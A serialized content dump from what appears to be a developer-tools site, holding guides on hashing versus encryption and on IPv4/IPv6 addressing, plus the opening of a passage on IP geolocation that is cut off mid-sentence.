password\n",[1560,238069,238070,238072,238074,238076,238078,238081,238083,238085,238088],{"class":1562,"line":365},[1560,238071,8180],{"class":1669},[1560,238073,151591],{"class":1576},[1560,238075,8186],{"class":1669},[1560,238077,28065],{"class":1669},[1560,238079,238080],{"class":1570}," argon2.",[1560,238082,151663],{"class":1566},[1560,238084,1688],{"class":1570},[1560,238086,238087],{"class":5634},"'user_password123'",[1560,238089,1744],{"class":1570},[1560,238091,238092],{"class":1562,"line":889},[1560,238093,1702],{"emptyLinePlaceholder":363},[1560,238095,238096],{"class":1562,"line":1710},[1560,238097,238098],{"class":1649},"\u002F\u002F Verify login\n",[1560,238100,238101,238103,238106,238108,238110,238112,238114,238117,238119,238121],{"class":1562,"line":1717},[1560,238102,8180],{"class":1669},[1560,238104,238105],{"class":1576}," isValid",[1560,238107,8186],{"class":1669},[1560,238109,28065],{"class":1669},[1560,238111,238080],{"class":1570},[1560,238113,90321],{"class":1566},[1560,238115,238116],{"class":1570},"(hash, ",[1560,238118,238087],{"class":5634},[1560,238120,5171],{"class":1570},[1560,238122,101150],{"class":1649},[1560,238124,238125,238127,238130,238132,238134,238136,238138,238140,238143,238145],{"class":1562,"line":1747},[1560,238126,8180],{"class":1669},[1560,238128,238129],{"class":1576}," isWrong",[1560,238131,8186],{"class":1669},[1560,238133,28065],{"class":1669},[1560,238135,238080],{"class":1570},[1560,238137,90321],{"class":1566},[1560,238139,238116],{"class":1570},[1560,238141,238142],{"class":5634},"'wrong_password'",[1560,238144,47771],{"class":1570},[1560,238146,238147],{"class":1649},"\u002F\u002F false\n",[16,238149,238150],{},"Nobody — not even your database administrators — can read the original passwords. If the database leaks, attackers must crack each hash individually.",[33,238152,238154],{"id":238153},"data-integrity","Data Integrity",[16,238156,238157],{},"Verify that files, messages, or software downloads have not been altered:",[135,238159,238161],{"className":6951,"code":238160,"language":6953,"meta":141,"style":141},"# Compute a file checksum\nsha256sum Ubuntu-24.04.iso\n# Compare to the published value on the official website\n",[143,238162,238163,238168,238175],{"__ignoreMap":141},[1560,238164,238165],{"class":1562,"line":1563},[1560,238166,238167],{"class":1649},"# Compute a file checksum\n",[1560,238169,238170,238172],{"class":1562,"line":337},[1560,238171,103698],{"class":1566},[1560,238173,238174],{"class":5634}," Ubuntu-24.04.iso\n",[1560,238176,238177],{"class":1562,"line":343},[1560,238178,238179],{"class":1649},"# Compare to the published value on the official website\n",[33,238181,86351],{"id":238182},"deduplication",[16,238184,238185],{},"Identify duplicate files or records by comparing hashes instead of full content. Git uses this principle — identical file content produces the same object hash regardless of filename.",[11,238187,238189],{"id":238188},"when-to-use-encryption","When to Use Encryption",[33,238191,238193],{"id":238192},"protecting-sensitive-data-at-rest","Protecting Sensitive Data at Rest",[16,238195,238196],{},"Encrypt data stored in databases, files, or backups so that unauthorized access to the storage medium does not expose the data:",[135,238198,238200],{"className":1607,"code":238199,"language":1609,"meta":141,"style":141},"\u002F\u002F Encrypt SSN before storing in database\nconst encryptedSSN = encrypt(ssn, encryptionKey);\n\n\u002F\u002F Decrypt when needed for legitimate business operation\nconst decryptedSSN = decrypt(encryptedSSN, encryptionKey);\n",[143,238201,238202,238207,238222,238226,238231],{"__ignoreMap":141},[1560,238203,238204],{"class":1562,"line":1563},[1560,238205,238206],{"class":1649},"\u002F\u002F Encrypt SSN before storing in database\n",[1560,238208,238209,238211,238214,238216,238219],{"class":1562,"line":337},[1560,238210,8180],{"class":1669},[1560,238212,238213],{"class":1576}," encryptedSSN",[1560,238215,8186],{"class":1669},[1560,238217,238218],{"class":1566}," encrypt",[1560,238220,238221],{"class":1570},"(ssn, encryptionKey);\n",[1560,238223,238224],{"class":1562,"line":343},[1560,238225,1702],{"emptyLinePlaceholder":363},[1560,238227,238228],{"class":1562,"line":365},[1560,238229,238230],{"class":1649},"\u002F\u002F Decrypt when needed for legitimate business operation\n",[1560,238232,238233,238235,238238,238240,238243],{"class":1562,"line":889},[1560,238234,8180],{"class":1669},[1560,238236,238237],{"class":1576}," decryptedSSN",[1560,238239,8186],{"class":1669},[1560,238241,238242],{"class":1566}," decrypt",[1560,238244,238245],{"class":1570},"(encryptedSSN, encryptionKey);\n",[33,238247,238249],{"id":238248},"secure-communication","Secure Communication",[16,238251,238252],{},"TLS encrypts data in transit between a browser and server. Nobody intercepting the traffic can read the content.",[33,238254,238256],{"id":238255},"token-generation","Token Generation",[16,238258,238259],{},"Encrypted tokens carry data that the recipient can later decrypt and read — unlike hashes, which only verify:",[135,238261,238263],{"className":1607,"code":238262,"language":1609,"meta":141,"style":141},"\u002F\u002F Create an encrypted session token\nconst token = encrypt(JSON.stringify({ userId: 123, role: 'admin' }), secretKey);\n\n\u002F\u002F Later, decrypt and read the payload\nconst payload = JSON.parse(decrypt(token, secretKey));\n",[143,238264,238265,238270,238300,238304,238309],{"__ignoreMap":141},[1560,238266,238267],{"class":1562,"line":1563},[1560,238268,238269],{"class":1649},"\u002F\u002F Create an encrypted session token\n",[1560,238271,238272,238274,238276,238278,238280,238282,238284,238286,238288,238291,238293,238295,238297],{"class":1562,"line":337},[1560,238273,8180],{"class":1669},[1560,238275,42129],{"class":1576},[1560,238277,8186],{"class":1669},[1560,238279,238218],{"class":1566},[1560,238281,1688],{"class":1570},[1560,238283,13411],{"class":1576},[1560,238285,468],{"class":1570},[1560,238287,82298],{"class":1566},[1560,238289,238290],{"class":1570},"({ userId: ",[1560,238292,137937],{"class":1576},[1560,238294,138760],{"class":1570},[1560,238296,34348],{"class":5634},[1560,238298,238299],{"class":1570}," }), secretKey);\n",[1560,238301,238302],{"class":1562,"line":343},[1560,238303,1702],{"emptyLinePlaceholder":363},[1560,238305,238306],{"class":1562,"line":365},[1560,238307,238308],{"class":1649},"\u002F\u002F Later, decrypt and read the payload\n",[1560,238310,238311,238313,238315,238317,238319,238321,238323,238325,238328],{"class":1562,"line":889},[1560,238312,8180],{"class":1669},[1560,238314,89941],{"class":1576},[1560,238316,8186],{"class":1669},[1560,238318,89946],{"class":1576},[1560,238320,468],{"class":1570},[1560,238322,80838],{"class":1566},[1560,238324,1688],{"class":1570},[1560,238326,238327],{"class":1566},"decrypt",[1560,238329,238330],{"class":1570},"(token, secretKey));\n",[11,238332,222592],{"id":222591},[33,238334,238336],{"id":238335},"hashing-is-just-encryption-without-a-key","❌ \"Hashing is just encryption without a key\"",[16,238338,238339],{},"False. Hashing is not encryption at all. Encryption is designed for reversibility. Hashing is designed to be irreversible. They solve different problems.",[33,238341,238343],{"id":238342},"i-can-encrypt-passwords-instead-of-hashing-them","❌ \"I can encrypt passwords instead of hashing them\"",[16,238345,238346],{},"Dangerous. If you encrypt passwords, anyone with the decryption key can read every password. If that key leaks, all passwords are exposed simultaneously. With hashing, there is no key — no single point of failure.",[33,238348,238350],{"id":238349},"sha-256-is-secure-enough-for-passwords","❌ \"SHA-256 is secure enough for passwords\"",[16,238352,238353],{},"Misleading. SHA-256 is a secure hash function, but it is too fast for password hashing. Modern GPUs compute billions of SHA-256 hashes per second, making brute-force attacks practical. Use slow, memory-hard functions like Argon2id or bcrypt for passwords.",[33,238355,238357],{"id":238356},"i-should-hash-data-i-need-to-read-later","❌ \"I should hash data I need to read later\"",[16,238359,238360],{},"Impossible. Hashing destroys the original data. If you need to retrieve the original value later, you must use encryption — not hashing.",[11,238362,238364],{"id":238363},"why-you-should-never-store-passwords-with-encryption","Why You Should Never Store Passwords with Encryption",[16,238366,238367],{},"This deserves special emphasis because the mistake is still common.",[33,238369,238371],{"id":238370},"the-encryption-problem","The Encryption Problem",[135,238373,238375],{"className":1607,"code":238374,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: Encrypt passwords\nconst encrypted = encryptPassword('user_password', masterKey);\n\u002F\u002F Store encrypted in database\n\n\u002F\u002F If masterKey leaks → EVERY password is exposed\nconst allPasswords = database.rows.map(row => decrypt(row.password, masterKey));\n\u002F\u002F All 10 million passwords revealed in seconds\n",[143,238376,238377,238382,238401,238406,238410,238415,238440],{"__ignoreMap":141},[1560,238378,238379],{"class":1562,"line":1563},[1560,238380,238381],{"class":1649},"\u002F\u002F WRONG: Encrypt passwords\n",[1560,238383,238384,238386,238388,238390,238393,238395,238398],{"class":1562,"line":337},[1560,238385,8180],{"class":1669},[1560,238387,237771],{"class":1576},[1560,238389,8186],{"class":1669},[1560,238391,238392],{"class":1566}," encryptPassword",[1560,238394,1688],{"class":1570},[1560,238396,238397],{"class":5634},"'user_password'",[1560,238399,238400],{"class":1570},", masterKey);\n",[1560,238402,238403],{"class":1562,"line":343},[1560,238404,238405],{"class":1649},"\u002F\u002F Store encrypted in database\n",[1560,238407,238408],{"class":1562,"line":365},[1560,238409,1702],{"emptyLinePlaceholder":363},[1560,238411,238412],{"class":1562,"line":889},[1560,238413,238414],{"class":1649},"\u002F\u002F If masterKey leaks → EVERY password is exposed\n",[1560,238416,238417,238419,238422,238424,238427,238429,238431,238433,238435,238437],{"class":1562,"line":1710},[1560,238418,8180],{"class":1669},[1560,238420,238421],{"class":1576}," allPasswords",[1560,238423,8186],{"class":1669},[1560,238425,238426],{"class":1570}," database.rows.",[1560,238428,9371],{"class":1566},[1560,238430,1688],{"class":1570},[1560,238432,58185],{"class":2219},[1560,238434,9378],{"class":1669},[1560,238436,238242],{"class":1566},[1560,238438,238439],{"class":1570},"(row.password, masterKey));\n",[1560,238441,238442],{"class":1562,"line":1717},[1560,238443,238444],{"class":1649},"\u002F\u002F All 10 million passwords revealed in seconds\n",[16,238446,238447],{},"When you encrypt passwords, the master key becomes a single point of catastrophic failure. One leaked key exposes every account.",[33,238449,238451],{"id":238450},"the-hashing-solution","The Hashing Solution",[135,238453,238455],{"className":1607,"code":238454,"language":1609,"meta":141,"style":141},"\u002F\u002F CORRECT: Hash passwords\nconst hash = await argon2.hash('user_password');\n\u002F\u002F Store hash in database\n\n\u002F\u002F If database leaks → each password must be cracked individually\n\u002F\u002F No master key exists. Attackers must brute-force each hash.\n",[143,238456,238457,238462,238482,238487,238491,238496],{"__ignoreMap":141},[1560,238458,238459],{"class":1562,"line":1563},[1560,238460,238461],{"class":1649},"\u002F\u002F CORRECT: Hash passwords\n",[1560,238463,238464,238466,238468,238470,238472,238474,238476,238478,238480],{"class":1562,"line":337},[1560,238465,8180],{"class":1669},[1560,238467,151591],{"class":1576},[1560,238469,8186],{"class":1669},[1560,238471,28065],{"class":1669},[1560,238473,238080],{"class":1570},[1560,238475,151663],{"class":1566},[1560,238477,1688],{"class":1570},[1560,238479,238397],{"class":5634},[1560,238481,1744],{"class":1570},[1560,238483,238484],{"class":1562,"line":343},[1560,238485,238486],{"class":1649},"\u002F\u002F Store hash in database\n",[1560,238488,238489],{"class":1562,"line":365},[1560,238490,1702],{"emptyLinePlaceholder":363},[1560,238492,238493],{"class":1562,"line":889},[1560,238494,238495],{"class":1649},"\u002F\u002F If database leaks → each password must be cracked individually\n",[1560,238497,238498],{"class":1562,"line":1710},[1560,238499,238500],{"class":1649},"\u002F\u002F No master key exists. Attackers must brute-force each hash.\n",[16,238502,238503],{},"With hashing, there is no master key. Each password must be attacked individually. Proper salting ensures identical passwords produce different hashes, preventing bulk attacks.",[11,238505,739],{"id":738},[193,238507,238508,238520],{},[196,238509,238510],{},[199,238511,238512,238514,238517],{},[202,238513,21080],{},[202,238515,238516],{},"Use Hashing",[202,238518,238519],{},"Use Encryption",[211,238521,238522,238531,238540,238549,238558,238567,238576,238585,238595,238604],{},[199,238523,238524,238527,238529],{},[216,238525,238526],{},"Store user passwords",[216,238528,95806],{},[216,238530,36957],{},[199,238532,238533,238536,238538],{},[216,238534,238535],{},"Verify file downloads",[216,238537,95806],{},[216,238539,36957],{},[199,238541,238542,238545,238547],{},[216,238543,238544],{},"Protect credit card numbers",[216,238546,36957],{},[216,238548,95806],{},[199,238550,238551,238554,238556],{},[216,238552,238553],{},"Secure email content",[216,238555,36957],{},[216,238557,95806],{},[199,238559,238560,238562,238565],{},[216,238561,151433],{},[216,238563,238564],{},"✅ (hash then sign)",[216,238566,36957],{},[199,238568,238569,238572,238574],{},[216,238570,238571],{},"API key storage",[216,238573,36957],{},[216,238575,95806],{},[199,238577,238578,238581,238583],{},[216,238579,238580],{},"Checksum for data transfer",[216,238582,95806],{},[216,238584,36957],{},[199,238586,238587,238590,238592],{},[216,238588,238589],{},"Protect data in transit",[216,238591,36957],{},[216,238593,238594],{},"✅ (via TLS)",[199,238596,238597,238600,238602],{},[216,238598,238599],{},"Deduplicate files",[216,238601,95806],{},[216,238603,36957],{},[199,238605,238606,238609,238611],{},[216,238607,238608],{},"Store SSNs or PHI",[216,238610,36957],{},[216,238612,95806],{},[11,238614,238616],{"id":238615},"quick-decision-flowchart","Quick Decision Flowchart",[77,238618,238619,238632,238644],{},[44,238620,238621,238624],{},[47,238622,238623],{},"Do you need to recover the original data?",[41,238625,238626,238629],{},[44,238627,238628],{},"Yes → Use encryption",[44,238630,238631],{},"No → Continue",[44,238633,238634,238637],{},[47,238635,238636],{},"Are you storing passwords?",[41,238638,238639,238642],{},[44,238640,238641],{},"Yes → Use hashing (Argon2id or bcrypt)",[44,238643,238631],{},[44,238645,238646,238649],{},[47,238647,238648],{},"Do you need to verify data integrity?",[41,238650,238651,238654],{},[44,238652,238653],{},"Yes → Use hashing (SHA-256)",[44,238655,238656],{},"No → Reevaluate your requirements",[11,238658,321],{"id":320},[41,238660,238661,238666,238670],{},[44,238662,238663],{},[98,238664,238665],{"href":237542},"Hashing Algorithms Explained",[44,238667,238668],{},[98,238669,237488],{"href":237487},[44,238671,238672],{},[98,238673,237500],{"href":237499},[11,238675,286],{"id":285},[16,238677,238678,238679,238681],{},"See hashing in action with our free ",[98,238680,86434],{"href":86433},". Compute SHA-1, SHA-256, and SHA-512 hashes for any text instantly — all processing happens in your browser, so your data stays private.",[16,238683,238684],{},"Remember: the hash output gives you no way to recover the original input. That is the whole point.",[16,238686,238687],{},[98,238688,151810],{"href":86433},[2043,238690,88539],{},{"title":141,"searchDepth":337,"depth":337,"links":238692},[238693,238694,238698,238699,238704,238709,238715,238719,238720,238721,238722],{"id":237553,"depth":337,"text":237554},{"id":237581,"depth":337,"text":237582,"children":238695},[238696,238697],{"id":237585,"depth":343,"text":237586},{"id":237670,"depth":343,"text":237671},{"id":229322,"depth":337,"text":229323},{"id":238027,"depth":337,"text":238028,"children":238700},[238701,238702,238703],{"id":238031,"depth":343,"text":238032},{"id":238153,"depth":343,"text":238154},{"id":238182,"depth":343,"text":86351},{"id":238188,"depth":337,"text":238189,"children":238705},[238706,238707,238708],{"id":238192,"depth":343,"text":238193},{"id":238248,"depth":343,"text":238249},{"id":238255,"depth":343,"text":238256},{"id":222591,"depth":337,"text":222592,"children":238710},[238711,238712,238713,238714],{"id":238335,"depth":343,"text":238336},{"id":238342,"depth":343,"text":238343},{"id":238349,"depth":343,"text":238350},{"id":238356,"depth":343,"text":238357},{"id":238363,"depth":337,"text":238364,"children":238716},[238717,238718],{"id":238370,"depth":343,"text":238371},{"id":238450,"depth":343,"text":238451},{"id":738,"depth":337,"text":739},{"id":238615,"depth":337,"text":238616},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Understand the crucial differences between hashing and encryption. Learn when to use each for data security and integrity.",{"immutable":363},{"title":237548,"description":238723},"guides\u002Fhashing-vs-encryption","HwWNC3Mc_T4RVspfvAbeDTpRoX2OCc5b-wVMHoU4DMg",{"id":238729,"title":238730,"body":238731,"date":235803,"description":239228,"extension":361,"meta":239229,"navigation":363,"path":239230,"readingTime":1710,"seo":239231,"stem":239232,"__hash__":239233},"guides\u002Fguides\u002Fip-address-explained.md","What Is an IP Address? IPv4, IPv6, and How They Work",{"type":8,"value":238732,"toc":239195},[238733,238737,238740,238743,238747,238754,238756,238762,238773,238777,238780,238784,238791,238794,238800,238803,238813,238817,238824,238828,238920,238924,238935,238939,238987,238994,238998,239001,239005,239009,239012,239026,239030,239033,239045,239049,239052,239078,239081,239085,239088,239092,239098,239101,239103,239114,239116,239120,239127,239131,239134,239138,239141,239145,239152,239154,239174,239176,239179],[11,238734,238736],{"id":238735},"what-is-an-ip-address","What Is an IP Address?",[16,238738,238739],{},"An IP address (Internet Protocol address) is a unique number assigned to every device connected to a network. It tells other devices where to send data — like a postal address for your computer or phone.",[16,238741,238742],{},"Without IP addresses, the internet cannot deliver emails, load web pages, or stream video. Every request you make travels from your IP to a server's IP, and the response travels back.",[11,238744,238746],{"id":238745},"ipv4-the-original-standard","IPv4: The Original Standard",[16,238748,238749,238750,238753],{},"IPv4 is the most widely used IP format. It uses a ",[47,238751,238752],{},"32-bit"," address space, written as four decimal numbers separated by dots.",[33,238755,13018],{"id":88484},[135,238757,238760],{"className":238758,"code":238759,"language":140},[138],"192.168.1.1\n8.8.8.8\n172.217.14.206\n",[143,238761,238759],{"__ignoreMap":141},[16,238763,238764,238765,238768,238769,238772],{},"Each number ranges from ",[47,238766,238767],{},"0 to 255"," (8 bits per segment), giving a total of approximately ",[47,238770,238771],{},"4.3 billion"," unique addresses.",[33,238774,238776],{"id":238775},"the-problem","The Problem",[16,238778,238779],{},"4.3 billion sounds like a lot — but the world has far more devices than that. Phones, laptops, servers, IoT sensors, and smart appliances all need IPs. The IPv4 address pool was officially exhausted by regional registries between 2011 and 2019.",[11,238781,238783],{"id":238782},"ipv6-the-next-generation","IPv6: The Next Generation",[16,238785,238786,238787,238790],{},"IPv6 solves the shortage with a ",[47,238788,238789],{},"128-bit"," address space, written as eight groups of hexadecimal numbers separated by colons.",[33,238792,13018],{"id":238793},"format-1",[135,238795,238798],{"className":238796,"code":238797,"language":140},[138],"2001:0db8:85a3:0000:0000:8a2e:0370:7334\nfe80::1ff:fe23:4567:890a\n",[143,238799,238797],{"__ignoreMap":141},[16,238801,238802],{},"Leading zeros and consecutive zero groups can be shortened:",[41,238804,238805],{},[44,238806,238807,52609,238810],{},[143,238808,238809],{},"2001:0db8:0000:0000:0000:0000:0000:0001",[143,238811,238812],{},"2001:db8::1",[33,238814,238816],{"id":238815},"how-many-addresses","How Many Addresses?",[16,238818,238819,238820,238823],{},"IPv6 provides ",[47,238821,238822],{},"340 undecillion"," addresses (3.4 × 10³⁸). That is more than enough for every grain of sand on Earth to have its own IP — many times over.",[33,238825,238827],{"id":238826},"ipv4-vs-ipv6-comparison","IPv4 vs IPv6 Comparison",[193,238829,238830,238842],{},[196,238831,238832],{},[199,238833,238834,238836,238839],{},[202,238835,5867],{},[202,238837,238838],{},"IPv4",[202,238840,238841],{},"IPv6",[211,238843,238844,238856,238869,238881,238894,238907],{},[199,238845,238846,238851,238854],{},[216,238847,238848],{},[47,238849,238850],{},"Address length",[216,238852,238853],{},"32 bits",[216,238855,151489],{},[199,238857,238858,238863,238866],{},[216,238859,238860],{},[47,238861,238862],{},"Total addresses",[216,238864,238865],{},"~4.3 billion",[216,238867,238868],{},"~340 undecillion",[199,238870,238871,238875,238878],{},[216,238872,238873],{},[47,238874,13018],{},[216,238876,238877],{},"Dotted decimal",[216,238879,238880],{},"Colon-separated hex",[199,238882,238883,238888,238891],{},[216,238884,238885],{},[47,238886,238887],{},"Header size",[216,238889,238890],{},"20–60 bytes",[216,238892,238893],{},"Fixed 40 bytes",[199,238895,238896,238901,238904],{},[216,238897,238898],{},[47,238899,238900],{},"Built-in security",[216,238902,238903],{},"Optional (IPsec)",[216,238905,238906],{},"Required (IPsec)",[199,238908,238909,238914,238917],{},[216,238910,238911],{},[47,238912,238913],{},"Configuration",[216,238915,238916],{},"Manual or DHCP",[216,238918,238919],{},"Auto (SLAAC)",[11,238921,238923],{"id":238922},"public-vs-private-ip-addresses","Public vs Private IP Addresses",[16,238925,238926,238927,238930,238931,238934],{},"Not every device needs a globally unique IP. Networks use ",[47,238928,238929],{},"private IP addresses"," internally and share a ",[47,238932,238933],{},"public IP"," for internet access.",[33,238936,238938],{"id":238937},"private-ip-ranges","Private IP Ranges",[193,238940,238941,238952],{},[196,238942,238943],{},[199,238944,238945,238948,238950],{},[202,238946,238947],{},"Class",[202,238949,29088],{},[202,238951,14177],{},[211,238953,238954,238965,238976],{},[199,238955,238956,238959,238962],{},[216,238957,238958],{},"Class A",[216,238960,238961],{},"10.0.0.0 – 10.255.255.255",[216,238963,238964],{},"Large enterprises",[199,238966,238967,238970,238973],{},[216,238968,238969],{},"Class B",[216,238971,238972],{},"172.16.0.0 – 172.31.255.255",[216,238974,238975],{},"Medium networks",[199,238977,238978,238981,238984],{},[216,238979,238980],{},"Class C",[216,238982,238983],{},"192.168.0.0 – 192.168.255.255",[216,238985,238986],{},"Home routers",[16,238988,238989,238990,238993],{},"Your home router assigns private IPs (like ",[143,238991,238992],{},"192.168.1.x",") to every phone and laptop. The router itself holds one public IP facing the internet.",[33,238995,238997],{"id":238996},"why-this-matters","Why This Matters",[16,238999,239000],{},"Private IPs are not routable on the internet. They allow millions of networks to reuse the same address ranges without conflict — which is exactly why IPv4 still works despite running out of public addresses.",[11,239002,239004],{"id":239003},"static-vs-dynamic-ip-addresses","Static vs Dynamic IP Addresses",[33,239006,239008],{"id":239007},"static-ip","Static IP",[16,239010,239011],{},"A static IP never changes. Servers, websites, and email hosts need static IPs so other devices can always find them.",[41,239013,239014,239020],{},[44,239015,239016,239019],{},[47,239017,239018],{},"Use cases",": Web servers, DNS servers, VPN endpoints",[44,239021,239022,239025],{},[47,239023,239024],{},"Drawback",": Slightly more expensive; a fixed target for attackers",[33,239027,239029],{"id":239028},"dynamic-ip","Dynamic IP",[16,239031,239032],{},"A dynamic IP changes periodically. Most home and mobile connections use dynamic IPs.",[41,239034,239035,239040],{},[44,239036,239037,239039],{},[47,239038,239018],{},": Home Internet, mobile data, casual browsing",[44,239041,239042,239044],{},[47,239043,106374],{},": Better security (moving target); efficient address reuse",[11,239046,239048],{"id":239047},"how-dhcp-assigns-ip-addresses","How DHCP Assigns IP Addresses",[16,239050,239051],{},"DHCP (Dynamic Host Configuration Protocol) automatically hands out IP addresses to devices on a network. The process takes four steps:",[77,239053,239054,239060,239066,239072],{},[44,239055,239056,239059],{},[47,239057,239058],{},"Discover"," — Your device broadcasts \"I need an IP address!\"",[44,239061,239062,239065],{},[47,239063,239064],{},"Offer"," — The DHCP server responds with an available address",[44,239067,239068,239071],{},[47,239069,239070],{},"Request"," — Your device confirms it wants that address",[44,239073,239074,239077],{},[47,239075,239076],{},"Acknowledge"," — The server reserves the address and sends configuration details (subnet mask, gateway, DNS)",[16,239079,239080],{},"Leases typically last 24 hours to several days. When a lease expires, the device requests a new one.",[11,239082,239084],{"id":239083},"nat-how-ipv4-survives","NAT: How IPv4 Survives",[16,239086,239087],{},"NAT (Network Address Translation) lets multiple devices share one public IP. Your router translates private IPs to the public IP when traffic goes out — and translates back when responses arrive.",[33,239089,239091],{"id":239090},"how-nat-works","How NAT Works",[135,239093,239096],{"className":239094,"code":239095,"language":140},[138],"[Phone 192.168.1.5] → [Router 203.0.113.10] → [Internet Server]\n        Private IP              Public IP\n",[143,239097,239095],{"__ignoreMap":141},[16,239099,239100],{},"The router maintains a translation table mapping each internal device and port to an external port. Responses come back to the correct device based on this table.",[33,239102,61655],{"id":64222},[41,239104,239105,239108,239111],{},[44,239106,239107],{},"Incoming connections require explicit port forwarding",[44,239109,239110],{},"Breaks end-to-end connectivity (some protocols need workarounds)",[44,239112,239113],{},"IPv6 eliminates the need for NAT by providing enough addresses for every device",[11,239115,222592],{"id":222591},[33,239117,239119],{"id":239118},"my-ip-address-reveals-my-exact-location","❌ \"My IP address reveals my exact location\"",[16,239121,239122,239123,239126],{},"IP geolocation shows your ",[47,239124,239125],{},"approximate"," area — usually the city or region. It cannot pinpoint your house or GPS coordinates.",[33,239128,239130],{"id":239129},"hiding-my-ip-makes-me-completely-anonymous","❌ \"Hiding my IP makes me completely anonymous\"",[16,239132,239133],{},"A VPN or proxy hides your IP from websites, but the VPN provider can still see your traffic. True anonymity requires multiple layers — not just IP masking.",[33,239135,239137],{"id":239136},"ipv4-is-obsolete","❌ \"IPv4 is obsolete\"",[16,239139,239140],{},"IPv4 still carries the majority of internet traffic. Dual-stack environments (running both IPv4 and IPv6) are the norm, and full IPv6 adoption is still years away.",[33,239142,239144],{"id":239143},"two-devices-cannot-share-the-same-ip","❌ \"Two devices cannot share the same IP\"",[16,239146,239147,239148,239151],{},"Private IPs are reused across millions of networks. Even public IPs can be shared through NAT. What matters is that no two devices on the ",[47,239149,239150],{},"same network"," have the same IP at the same time.",[11,239153,1355],{"id":1354},[41,239155,239156,239159,239162,239165,239168,239171],{},[44,239157,239158],{},"An IP address is a numeric identifier that enables network communication",[44,239160,239161],{},"IPv4 uses 32-bit addresses (4.3 billion total — now exhausted)",[44,239163,239164],{},"IPv6 uses 128-bit addresses (virtually unlimited supply)",[44,239166,239167],{},"Private IPs are reused across networks; public IPs are globally unique",[44,239169,239170],{},"DHCP automates IP assignment; NAT extends IPv4's lifespan",[44,239172,239173],{},"IPv6 adoption grows steadily, but IPv4 remains dominant",[11,239175,286],{"id":285},[16,239177,239178],{},"Curious about your own IP address? Use these free tools to explore:",[41,239180,239181,239188],{},[44,239182,239183,239187],{},[98,239184,239186],{"href":239185},"\u002Ftools\u002Fmy-ip","What Is My IP"," — See your public IP address and approximate location instantly",[44,239189,239190,239194],{},[98,239191,239193],{"href":239192},"\u002Ftools\u002Fip-lookup","IP Location Lookup"," — Look up the geographic details of any IP address",{"title":141,"searchDepth":337,"depth":337,"links":239196},[239197,239198,239202,239207,239211,239215,239216,239220,239226,239227],{"id":238735,"depth":337,"text":238736},{"id":238745,"depth":337,"text":238746,"children":239199},[239200,239201],{"id":88484,"depth":343,"text":13018},{"id":238775,"depth":343,"text":238776},{"id":238782,"depth":337,"text":238783,"children":239203},[239204,239205,239206],{"id":238793,"depth":343,"text":13018},{"id":238815,"depth":343,"text":238816},{"id":238826,"depth":343,"text":238827},{"id":238922,"depth":337,"text":238923,"children":239208},[239209,239210],{"id":238937,"depth":343,"text":238938},{"id":238996,"depth":343,"text":238997},{"id":239003,"depth":337,"text":239004,"children":239212},[239213,239214],{"id":239007,"depth":343,"text":239008},{"id":239028,"depth":343,"text":239029},{"id":239047,"depth":337,"text":239048},{"id":239083,"depth":337,"text":239084,"children":239217},[239218,239219],{"id":239090,"depth":343,"text":239091},{"id":64222,"depth":343,"text":61655},{"id":222591,"depth":337,"text":222592,"children":239221},[239222,239223,239224,239225],{"id":239118,"depth":343,"text":239119},{"id":239129,"depth":343,"text":239130},{"id":239136,"depth":343,"text":239137},{"id":239143,"depth":343,"text":239144},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn what IP addresses are, the difference between IPv4 and IPv6, how devices get assigned IPs, and why they matter for internet communication.",{"immutable":363},"\u002Fguides\u002Fip-address-explained",{"title":238730,"description":239228},"guides\u002Fip-address-explained","Dz-vVcMuyphGH9eNk7g1LXJ7Pq9NP_e5hQml2pR0XXg",{"id":239235,"title":239236,"body":239237,"date":235803,"description":239700,"extension":361,"meta":239701,"navigation":363,"path":239702,"readingTime":1710,"seo":239703,"stem":239704,"__hash__":239705},"guides\u002Fguides\u002Fip-geolocation-how-it-works.md","How IP Geolocation Works: From Databases to Accuracy",{"type":8,"value":239238,"toc":239662},[239239,239243,239246,239249,239281,239285,239288,239292,239295,239348,239351,239355,239358,239362,239365,239369,239395,239399,239402,239406,239409,239413,239416,239420,239423,239427,239430,239434,239441,239445,239449,239452,239456,239459,239463,239466,239470,239473,239477,239480,239482,239486,239489,239493,239496,239500,239503,239507,239510,239514,239517,239521,239524,239528,239532,239564,239568,239571,239585,239589,239592,239624,239626,239646,239648,239651],[11,239240,239242],{"id":239241},"what-is-ip-geolocation","What Is IP Geolocation?",[16,239244,239245],{},"IP geolocation is the process of estimating the physical location of a device based on its IP address. It does not use GPS or Wi-Fi triangulation — instead, it relies on databases that map IP ranges to geographic regions.",[16,239247,239248],{},"A typical geolocation result includes:",[41,239250,239251,239257,239263,239269,239275],{},[44,239252,239253,239256],{},[47,239254,239255],{},"Country"," — nearly always accurate",[44,239258,239259,239262],{},[47,239260,239261],{},"Region or state"," — usually accurate",[44,239264,239265,239268],{},[47,239266,239267],{},"City"," — approximate",[44,239270,239271,239274],{},[47,239272,239273],{},"ISP or organization"," — generally reliable",[44,239276,239277,239280],{},[47,239278,239279],{},"Timezone"," — derived from region data",[11,239282,239284],{"id":239283},"how-geolocation-databases-are-built","How Geolocation Databases Are Built",[16,239286,239287],{},"IP geolocation databases do not appear from nowhere. They aggregate data from multiple sources over time.",[33,239289,239291],{"id":239290},"regional-internet-registries-rirs","Regional Internet Registries (RIRs)",[16,239293,239294],{},"Five RIRs manage IP address allocation worldwide:",[193,239296,239297,239306],{},[196,239298,239299],{},[199,239300,239301,239304],{},[202,239302,239303],{},"Registry",[202,239305,4657],{},[211,239307,239308,239316,239324,239332,239340],{},[199,239309,239310,239313],{},[216,239311,239312],{},"ARIN",[216,239314,239315],{},"North America",[199,239317,239318,239321],{},[216,239319,239320],{},"RIPE NCC",[216,239322,239323],{},"Europe, Middle East, Central Asia",[199,239325,239326,239329],{},[216,239327,239328],{},"APNIC",[216,239330,239331],{},"Asia-Pacific",[199,239333,239334,239337],{},[216,239335,239336],{},"LACNIC",[216,239338,239339],{},"Latin America, Caribbean",[199,239341,239342,239345],{},[216,239343,239344],{},"AFRINIC",[216,239346,239347],{},"Africa",[16,239349,239350],{},"RIRs publish which ISP or organization holds each IP block and their registered country. This data is public and forms the foundation of geolocation.",[33,239352,239354],{"id":239353},"isp-and-network-operator-submissions","ISP and Network Operator Submissions",[16,239356,239357],{},"Some ISPs voluntarily submit more granular data — mapping their IP ranges to cities or even neighborhoods. This is the most accurate source but depends on 